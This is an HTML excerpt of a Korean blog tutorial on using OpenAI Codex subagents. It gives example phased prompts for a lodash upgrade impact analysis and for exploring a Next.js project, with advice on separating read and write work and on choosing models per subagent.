&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTE5Hs%2FdJMcaf0PeHU%2FoBHK515h868D41qg2KmYNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2118&quot; height=&quot;1152&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;큰 의존성을 올릴 때 &quot;어디가 깨지는지&quot;를 보려면 먼저 전체 사용처를 파악해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음에 영역별로 나눠서 동시에 분석하고, 마지막에 합친다. A&amp;middot;B와 달리 에이전트 실행 순서가 있다.&lt;/p&gt;
&lt;pre class=&quot;code-block yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: lodash 4 -&amp;gt; 6 업그레이드 시 영향 범위를 분석한다.

Setup:
  저장소: 현재 작업 디렉토리
  대상 패키지: lodash (4.x -&amp;gt; 6.x)

Phase 1 (직렬):
  - scan-agent: lodash를 import하는 파일 전체 목록을 출력하고
      reports/lodash-usage.md 에 저장해 줘.

Phase 2 (병렬, Phase 1 완료 후 실행):
  - api-agent: reports/lodash-usage.md를 읽고 lodash 6에서
      제거되거나 시그니처가 바뀐 함수만 정리해 줘.
      결과를 reports/api-changes.md 에 저장해 줘.
  - test-agent: reports/lodash-usage.md를 읽고 lodash 관련
      테스트 파일을 찾아서 커버리지 갭을 요약해 줘.
      결과를 reports/test-gaps.md 에 저장해 줘.
  - type-agent: reports/lodash-usage.md를 읽고 TypeScript 타입
      불일치 가능성이 있는 파일을 목록화해 줘.
      결과를 reports/type-risks.md 에 저장해 줘.

Phase 3 (직렬, Phase 2 완료 후 실행):
  - merge-agent: reports/ 아래 세 파일을 읽어서 파일별 대응
      우선순위를 &quot;위험도: 높음/중간/낮음&quot; 기준으로 정리해 줘.

Constraints:
  - scan-agent, api-agent, test-agent, type-agent: 파일 수정 금지
  - merge-agent: reports/ 파일만 읽고, 코드 파일 수정 금지

Completion:
  merge-agent 결과가 콘솔에 출력되면 완료.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 1/2/3 명시적 분리&lt;/b&gt;: Codex가 순서를 추론하게 두면 Phase 1 완료 전에 Phase 2가 실행될 수 있다. &quot;Phase 1 완료 후 실행&quot;을 직접 적어야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시그니처&lt;/b&gt;: 함수의 이름, 매개변수(입력), 반환 타입을 합친 외형 정보다. &quot;시그니처가 바뀐 함수&quot;란 호출 방법이 달라진 함수를 뜻한다. 업그레이드 후 이전 코드가 그대로 동작하지 않는 원인이 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커버리지 갭&lt;/b&gt;: 테스트가 실행하지 않는 코드 영역이다. &quot;커버리지 갭을 요약해 줘&quot;는 lodash를 쓰는 코드 중 테스트가 없는 부분을 찾아 달라는 뜻이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중간 산출을 파일로 남기기 (reports/*.md)&lt;/b&gt;: Phase 2 에이전트가 Phase 1 결과를 메모리에서만 받는 방식은 불안정하다. 파일에 쓰고 읽게 하면 각 단계를 독립적으로 검증할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;merge-agent 읽기 범위를 &quot;reports/ 파일만&quot;으로 제한&lt;/b&gt;: 범위를 적지 않으면 전체 저장소를 다시 읽는다. 통합 에이전트는 중간 산출물만 보면 충분하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion: 마지막 에이전트 기준으로 명시&lt;/b&gt;: &quot;모든 에이전트 완료 후&quot;처럼 모호하게 적으면 완료 판단이 흔들린다. 마지막 단계 에이전트를 명시해야 Codex가 종료 시점을 정확히 안다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;세 예시에서 반복된 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트마다 역할과 산출 형식을 따로 적었다 &amp;mdash; &quot;요약해 줘&quot;보다 &quot;3줄로 파일명:줄번호 형식으로&quot;가 낫다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;쓰기를 허용한 에이전트는 쓸 파일 경로를 명시했다 &amp;mdash; 경로 없이 허용하면 어디에 저장할지 임의로 정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;Constraints의 파일 수정 금지를 에이전트 지시 안에도 반복했다 &amp;mdash; 블록 하나로는 부족하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Completion에 통합 주체 또는 마지막 에이전트를 명시했다 &amp;mdash; 이 줄이 없으면 언제 끝나는지 모호해진다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 D &amp;mdash; Next.js 기능 추가 전 탐색: 컴포넌트&amp;middot;API&amp;middot;테스트 패턴 동시에&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;새 페이지나 기능을 붙이기 전에 기존 코드의 패턴을 먼저 파악하지 않으면, 팀 컨벤션과 어긋나는 코드를 짜게 된다. 특히 Next.js App Router 프로젝트는 Server Component 사용 방식, 데이터 패칭 방법, 테스트 도구가 프로젝트마다 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 에이전트가 각자 한 영역만 읽고 요약을 돌려주면, 코드를 짜기 전에 &quot;이 프로젝트에서 어떻게 해야 하나&quot;를 빠르게 정리할 수 있다. A&amp;middot;B&amp;middot;C가 리뷰&amp;middot;분석 중심이었다면, 예시 D는 신규 기능을 구현하기 전 &quot;탐색 단계&quot;에 서브에이전트를 쓰는 패턴이다.&lt;/p&gt;
&lt;pre class=&quot;code-block http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: /dashboard 페이지 추가 전에 Next.js 프로젝트의 기존 패턴을 파악한다.

Setup:
  저장소: 현재 작업 디렉토리 (Next.js App Router 기반)
  목적: 신규 대시보드 페이지 구현 전 코드 컨벤션 파악

Subagents:
  - component-agent: app/ 디렉토리의 기존 페이지 컴포넌트를 읽어라.
      Server Component와 Client Component(&quot;use client&quot;) 구분 기준,
      공통 레이아웃 파일(layout.tsx)이 어디 있는지 3~5줄로 요약해라.
      파일 수정 금지.
  - api-agent: app/api/ 또는 lib/ 아래 데이터 패칭 패턴을 찾아라.
      fetch, axios, React Query 중 어떤 방식을 쓰는지,
      인증 처리(middleware.ts 또는 세션 확인 로직)가 어디서 이루어지는지 3줄로 요약해라.
      파일 수정 금지.
  - test-agent: __tests__/ 또는 *.test.tsx, *.spec.tsx 파일을 찾아서
      테스트 도구(jest, vitest, RTL 등)와 기존 테스트 파일 위치를 3줄로 요약해라.
      파일 수정 금지.

Constraints:
  - 세 에이전트 모두 파일 수정, 설치, 실행 금지
  - 각 에이전트는 자기 담당 범위 안에서만 요약

Completion:
  세 에이전트 결과를 모아 &quot;대시보드 페이지 추가 시작점 보고서&quot;를 한 블록으로 출력한다.
  보고서 형식: 컴포넌트 패턴 / API 연동 / 테스트 위치 세 섹션.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 코드 짜기 전에 탐색부터?&lt;/b&gt;: Next.js 프로젝트마다 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;use client&quot;&lt;/code&gt; 쓰는 위치, 데이터 패칭 방식, 테스트 도구가 다르다. 탐색 없이 바로 짜면 기존 패턴과 달라져 나중에 리팩토링 비용이 생긴다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;component-agent에 &quot;Server vs Client 구분 기준&quot; 명시&lt;/b&gt;: App Router에서 가장 자주 틀리는 지점이다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&quot;use client&quot;&lt;/code&gt;가 어느 깊이에서 선언되는지 파악해 두면 새 페이지를 짤 때 실수를 줄인다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;api-agent에 &quot;인증 처리 위치&quot; 추가&lt;/b&gt;: 대시보드는 보통 로그인이 필요하다. 기존 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;middleware.ts&lt;/code&gt;나 세션 확인 로직을 먼저 알아야 같은 패턴을 새 페이지에 적용할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion의 섹션 분리&lt;/b&gt;: &quot;컴포넌트 / API / 테스트&quot; 세 섹션으로 강제하면, 이후 실제 구현 프롬프트에서 섹션별로 참조하기 쉽다. 예시 A&amp;middot;B와 마찬가지로 통합 주체를 명시해야 각자 결과만 내고 끝나는 것을 막는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 한 줄을 그대로 Codex에 붙여넣어 보자.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;이 Next.js 프로젝트에 대시보드 페이지를 추가하려고 해. 코드 짜기 전에 서브에이전트 3개로 병렬 탐색해줘. 하나는 기존 컴포넌트 패턴, 하나는 API 연동 방식, 하나는 테스트 위치. 파일 수정 금지. 결과는 세 섹션으로 나눠서 요약해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;세 개의 에이전트가 뜨고, 결과가 &quot;컴포넌트 패턴 / API 연동 / 테스트 위치&quot; 세 섹션으로 나눠 오면 이 패턴을 이해한 것이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 D는 신규 기능 추가 전 &quot;탐색 &amp;rarr; 구현&quot; 2단계 흐름의 첫 단계다. 탐색 결과 보고서가 나오면 그 내용을 컨텍스트로 붙여 구현 프롬프트로 넘어가면 된다. 익숙해지면 탐색&amp;middot;구현&amp;middot;테스트 생성을 직렬로 이어 붙이는 3단계 워크플로로 확장할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 병렬 실행 &amp;mdash; 읽기와 쓰기를 구분하라&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1774&quot; data-origin-height=&quot;976&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboWZ7P%2FdJMcad2Y1ed%2FSufKz5LGv2HeMvAW5LVAu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1774&quot; height=&quot;976&quot; data-origin-width=&quot;1774&quot; data-origin-height=&quot;976&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 읽기 중심 작업에 먼저 적용한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 서브에이전트 문서&lt;/a&gt;는 병렬 에이전트가 코드베이스 탐색이나 여러 단계가 있는 기능 계획처럼 나누기 쉬운 작업에 잘 맞는다고 설명한다. 초보자에게는 이 말을 &quot;먼저 읽기 중심 작업부터 나눠 보라&quot;는 운영 기준으로 받아들이는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐색(exploration, 파일과 구조를 살펴보는 일), 테스트 실행, 이슈 트리아지(문제의 원인과 우선순위를 가르는 일), 요약처럼 파일을 읽고 분석하는 작업은 병렬화에 적합하다. 서로 다른 에이전트가 같은 파일을 동시에 수정하지 않기 때문에 코드 충돌 가능성이 낮다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;테스트 실행은 완전한 읽기 작업이 아닐 수 있다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제 테스트는 캐시 파일을 만들거나 스냅샷을 갱신하거나 데이터베이스를 건드릴 수 있다. 그래서 &quot;테스트 실행 에이전트&quot;를 둘 때는 프로덕션 DB, 실서비스 API 키, 외부 결제&amp;middot;메일 발송 같은 부작용이 없는지 먼저 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 오래된 프로젝트에 처음 들어갔다고 해 보자. 디렉토리 구조를 보는 에이전트, 사용 중인 라이브러리를 정리하는 에이전트, 테스트가 어디까지 있는지 확인하는 에이전트를 동시에 실행할 수 있다. 세 작업 모두 읽기 전용이라 충돌이 거의 없다. 각 에이전트가 짧은 요약만 돌려주면, 메인 에이전트는 그 요약을 모아 전체 그림을 만든다. 직접 하나씩 읽는 것보다 대화창도 훨씬 깔끔하게 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 쓰기 작업은 충돌에 주의한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;병렬 쓰기는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 에이전트가 동시에 코드를 고치면 충돌과 조율 비용이 커질 수 있다. 그래서 쓰기 병렬화는 처음부터 조심해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 에이전트가 동시에 같은 파일을 고치면 충돌 가능성이 매우 높다. 나중에 어느 변경을 살릴지 다시 정리해야 하므로, 병렬화로 아낀 시간을 되돌려 쓰게 된다. 쓰기 작업은 파일 단위로 작업 영역을 나누거나, 아예 순서대로 처리하는 방식이 더 현실적이다.&lt;/p&gt;
&lt;!-- callout: blue --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;읽기 vs 쓰기 판단 기준&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 서브에이전트가 &quot;읽고 분석해서 요약을 돌려준다&quot;면 병렬화하기 좋다.&lt;br /&gt;&quot;특정 파일을 직접 수정한다&quot;면 누가 어떤 파일을 고칠지 먼저 나눠야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 작업 조율은 Codex가 도와준다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 서브에이전트가 실행되는 동안 생성, 작업 배정, 대기, 결과 취합 같은 조율은 Codex가 도와준다. 이런 조율을 오케스트레이션이라고 부르지만, 초보자는 &quot;여러 작업자를 관리하는 일&quot; 정도로 이해하면 충분하다. 다만 이것이 사용자의 검증 책임까지 대신한다는 뜻은 아니다. 파일 소유권, 완료 기준, 결과 형식은 사용자가 분명히 적어야 하고, 마지막 검증도 직접 해야 한다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 모델 배분 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트마다 모델을 다르게 줄 수 있지만, 초보자가 처음부터 모델 카탈로그를 외울 필요는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본값으로 시작하고, 느리거나 비싸거나 위험한 작업이 반복될 때만 역할별 조정을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 이름과 제공 범위는 계정과 시점에 따라 달라질 수 있으므로 실제 선택 전에는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Models 문서&lt;/a&gt;와 CLI의 모델 선택기를 함께 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 하기 내용은 실제 codex 사용하시는 분들이 아닌 api 방식으로 사용하는 분들이, 비용 대비 성능 최적화를 하기 위해 사용하는 전략이니, 가볍게 보고 어렵다면 데충 넘어가는것을 추천한다. )&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb86pCl%2FdJMcajvoIBI%2Fd3ZUqwtQBKBKW6N6KJAoNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2154&quot; height=&quot;1170&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;서브에이전트 모델 선택을 위한 실무 기준&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;운영 기준&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;처음 쓰는 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;세션 기본 모델 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 선택보다 역할&amp;middot;범위&amp;middot;완료 기준이 더 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 목록 수집, 구조 요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 모델과 낮은 reasoning effort(생각의 깊이 &amp;mdash; 높을수록 느리고 비싸다)로 시작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;깊은 추론보다 빠른 스캔과 짧은 요약이 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 설계, 최종 통합 판단&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가능한 강한 모델과 높은 effort로 시작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가정 검증과 엣지 케이스 탐색 실패 비용이 크다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용이나 속도가 부담될 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델보다 에이전트 수를 먼저 줄인다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트는 단일 실행보다 토큰 사용과 대기 시간이 늘 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;실무 출발점&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;가벼운 읽기 전용 서브에이전트에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-mini-latest&lt;/code&gt; 같은 효율 모델을, 복잡한 리뷰나 최종 판단에는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;o3&lt;/code&gt; 같은 강한 모델을 배정하는 식으로 시작할 수 있다. 이것은 공식 규칙이 아니라 비용, 속도, 작업 위험을 함께 보는 운영 기준이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;o3&lt;/code&gt;&lt;/b&gt;: 복잡한 추론이 필요한 작업에 쓴다. 보안 분석, 설계 결정, 최종 통합 판단처럼 한 번 틀리면 비용이 큰 단계에 배정한다. 느리지만 정확하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex-mini-latest&lt;/code&gt;&lt;/b&gt;: 빠른 탐색&amp;middot;분류 작업에 쓴다. 파일 목록 수집, 디렉토리 구조 요약, 단순 패턴 스캔처럼 단순 작업에 최적이다. 빠르지만 깊은 추론에는 약하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
